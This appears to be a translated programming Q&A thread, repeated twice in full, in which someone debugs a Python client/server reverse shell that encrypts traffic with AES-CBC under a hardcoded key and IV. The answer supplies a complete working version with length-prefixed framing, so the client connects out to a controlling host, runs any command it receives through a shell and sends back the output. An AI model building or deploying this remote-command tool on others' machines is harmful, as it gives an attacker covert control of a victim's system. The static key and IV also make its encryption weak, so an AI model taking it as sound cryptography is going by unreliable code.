Python cryptodome AES-CBC / subprocess 大命令输出问题
Python cryptodome AES-CBC / subprocess large command output issues
我有以下代码用于 python3 中的简单 client/server 反向 shell。
它会很好地连接,任何输出较小的命令都会很好地工作。诸如“whoami”之类的命令并列出包含一个或两个文件的目录的内容。问题似乎与任何提供大输出的命令有关,例如)列出大目录中的所有文件,或“ipconfig /all”命令。这将使程序崩溃并显示“ValueError:填充不正确”。
我确定这很简单,但我对此很陌生,不确定。谢谢
client.py
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
import socket
import subprocess
key = b"H" * 32
IV = b"H" * 16
def encrypt(message):
encryptor = AES.new(key, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(cipher):
decryptor = AES.new(key, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(cipher)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
def connect():
s = socket.socket()
s.connect(('192.168.0.2', 8080))
while True:
command = decrypt(s.recv(1024))
if 'leave' in command.decode():
break
else:
CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
s.send(encrypt(CMD.stdout.read()))
def main():
connect()
main()
server.py
import socket
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
IV = b"H" * 16
key = b"H" * 32
def encrypt(message):
encryptor = AES.new(key, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(cipher):
decryptor = AES.new(key, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(cipher)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
def connect():
s = socket.socket()
s.bind(('192.168.0.2', 8080))
s.listen(1)
conn, address = s.accept()
print('Connected')
while True:
command = input("Shell> ")
if 'leave' in command:
conn.send(encrypt(b'leave'))
conn.close()
break
else:
command = encrypt(command.encode())
conn.send(command)
print(decrypt(conn.recv(1024)).decode())
def main():
connect()
main()
print(decrypt(conn.recv(1024)).decode())
问题是 conn.recv(1024)
最多只能读取 1024 字节,而较大命令的输出可能超过 1024 字节,导致接收到的密文不完整。
请注意,单次读取也可以减少字节数,因此由于 TCP 是一种流式传输协议,我们真的不知道我们需要读取多少。
一个简单的解决方法是在每条消息前加上密文长度。使用 4 个字节(32 位)作为最大密文,消息如下所示:
[p1,p2,p3,p4][c1,c2,c3...]
其中 p1..p4
是 4 个前缀字节,c1... cn
是密文字节。
所以,现在当我们开始读取一条消息时,我们首先读取 4 个字节,将它们解释为一个整数,从而得到以下密文的大小。
示例实现:
client.py
import socket
import subprocess
from protocol import read_msg, write_msg
def connect():
s = socket.socket()
s.connect(('localhost', 4040))
while True:
command = read_msg(s)
print("command %s" % command)
if 'leave' in command.decode():
break
else:
CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE,
stdout=subprocess.PIPE)
write_msg(s, CMD.stdout.read())
def main():
connect()
main()
crypto.py
from Crypto.Util import Padding
from Crypto.Cipher import AES
key = b"H" * 32
IV = b"H" * 16
def encrypt(message):
encryptor = AES.new(key, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(cipher):
decryptor = AES.new(key, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(cipher)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
protocol.py
from crypto import encrypt, decrypt
def read_msg(s):
max_buffer_size = 1024
length_buffer = b""
while True:
if len(length_buffer) == 4:
break
b = s.recv(1)
length_buffer += b
message_length = int.from_bytes(length_buffer, "big")
message_buffer = b""
read_size = min(message_length, max_buffer_size)
to_read = message_length
while to_read != 0:
read = s.recv(read_size)
message_buffer += read
to_read -= len(read)
return decrypt(message_buffer)
def write_msg(s, message):
encrypted_message = encrypt(message)
message_length = len(encrypted_message)
message_length_raw = message_length.to_bytes(4, "big")
s.send(message_length_raw + encrypt(message))
server.py
import socket
from protocol import write_msg, read_msg
def connect():
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('localhost', 4040))
s.listen(1)
conn, address = s.accept()
print('Connected')
while True:
command = input("Shell> ")
if 'leave' in command:
write_msg(conn, b'leave')
conn.close()
break
else:
write_msg(conn, command.encode())
print(read_msg(conn).decode())
def main():
connect()
main()
我有以下代码用于 python3 中的简单 client/server 反向 shell。
它会很好地连接,任何输出较小的命令都会很好地工作。诸如“whoami”之类的命令并列出包含一个或两个文件的目录的内容。问题似乎与任何提供大输出的命令有关,例如)列出大目录中的所有文件,或“ipconfig /all”命令。这将使程序崩溃并显示“ValueError:填充不正确”。
我确定这很简单,但我对此很陌生,不确定。谢谢
client.py
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
import socket
import subprocess
key = b"H" * 32
IV = b"H" * 16
def encrypt(message):
encryptor = AES.new(key, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(cipher):
decryptor = AES.new(key, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(cipher)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
def connect():
s = socket.socket()
s.connect(('192.168.0.2', 8080))
while True:
command = decrypt(s.recv(1024))
if 'leave' in command.decode():
break
else:
CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
s.send(encrypt(CMD.stdout.read()))
def main():
connect()
main()
server.py
import socket
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
IV = b"H" * 16
key = b"H" * 32
def encrypt(message):
encryptor = AES.new(key, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(cipher):
decryptor = AES.new(key, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(cipher)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
def connect():
s = socket.socket()
s.bind(('192.168.0.2', 8080))
s.listen(1)
conn, address = s.accept()
print('Connected')
while True:
command = input("Shell> ")
if 'leave' in command:
conn.send(encrypt(b'leave'))
conn.close()
break
else:
command = encrypt(command.encode())
conn.send(command)
print(decrypt(conn.recv(1024)).decode())
def main():
connect()
main()
print(decrypt(conn.recv(1024)).decode())
问题是 conn.recv(1024)
最多只能读取 1024 字节,而较大命令的输出可能超过 1024 字节,导致接收到的密文不完整。
请注意,单次读取也可以减少字节数,因此由于 TCP 是一种流式传输协议,我们真的不知道我们需要读取多少。
一个简单的解决方法是在每条消息前加上密文长度。使用 4 个字节(32 位)作为最大密文,消息如下所示:
[p1,p2,p3,p4][c1,c2,c3...]
其中 p1..p4
是 4 个前缀字节,c1... cn
是密文字节。
所以,现在当我们开始读取一条消息时,我们首先读取 4 个字节,将它们解释为一个整数,从而得到以下密文的大小。
示例实现:
client.py
import socket
import subprocess
from protocol import read_msg, write_msg
def connect():
s = socket.socket()
s.connect(('localhost', 4040))
while True:
command = read_msg(s)
print("command %s" % command)
if 'leave' in command.decode():
break
else:
CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE,
stdout=subprocess.PIPE)
write_msg(s, CMD.stdout.read())
def main():
connect()
main()
crypto.py
from Crypto.Util import Padding
from Crypto.Cipher import AES
key = b"H" * 32
IV = b"H" * 16
def encrypt(message):
encryptor = AES.new(key, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(cipher):
decryptor = AES.new(key, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(cipher)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
protocol.py
from crypto import encrypt, decrypt
def read_msg(s):
max_buffer_size = 1024
length_buffer = b""
while True:
if len(length_buffer) == 4:
break
b = s.recv(1)
length_buffer += b
message_length = int.from_bytes(length_buffer, "big")
message_buffer = b""
read_size = min(message_length, max_buffer_size)
to_read = message_length
while to_read != 0:
read = s.recv(read_size)
message_buffer += read
to_read -= len(read)
return decrypt(message_buffer)
def write_msg(s, message):
encrypted_message = encrypt(message)
message_length = len(encrypted_message)
message_length_raw = message_length.to_bytes(4, "big")
s.send(message_length_raw + encrypt(message))
server.py
import socket
from protocol import write_msg, read_msg
def connect():
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('localhost', 4040))
s.listen(1)
conn, address = s.accept()
print('Connected')
while True:
command = input("Shell> ")
if 'leave' in command:
write_msg(conn, b'leave')
conn.close()
break
else:
write_msg(conn, command.encode())
print(read_msg(conn).decode())
def main():
connect()
main()